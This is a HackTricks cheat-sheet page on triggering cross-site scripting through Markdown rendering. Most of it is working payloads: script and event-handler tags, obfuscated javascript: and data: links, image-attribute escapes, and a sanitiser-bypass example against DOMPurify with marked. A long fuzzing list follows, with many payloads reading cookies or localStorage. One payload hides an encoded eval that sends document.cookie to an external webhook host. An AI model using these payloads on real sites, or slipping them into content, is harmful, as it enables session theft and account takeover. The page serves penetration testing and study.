XSS in Markdown

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If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted.

HTML tags

The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML

html

<!-- XSS with regular tags -->
<script>
  alert(1)
</script>
<img src="x" onerror="alert(1)" />

You can find more examples in the main XSS page of hacktricks.

Javascript links

If HTML tags aren't an option you could always try to play with markdown syntax:

html

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img event syntax abuse

markdown

![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

The following code is sanitising HTML input and then passing it to the markdown parser, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify

html

<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
  const qs = new URLSearchParams(location.search)
  if (qs.get("content")?.length > 0) {
    document.body.innerHTML = marked.parse(
      DOMPurify.sanitize(qs.get("content"))
    )
  }
</script>

Payloads example:

html

<div
  id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
  -----------------------------------------------
  <a
    title="a

<img src=x onerror=alert(1)>"
    >yep</a
  >
  ------------------------------------------------ [x](y '<style>
    ')<!--
  </style>
  <div id="x--><img src=1 onerror=alert(1)>"></div>
  ---------------------------------------------- [
  <p
    x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
  ) ---------------------------------------------- `
  <p x="`<img src=x onerror=alert(1)>"></p>
</div>

Fuzzing

html

<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
  ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.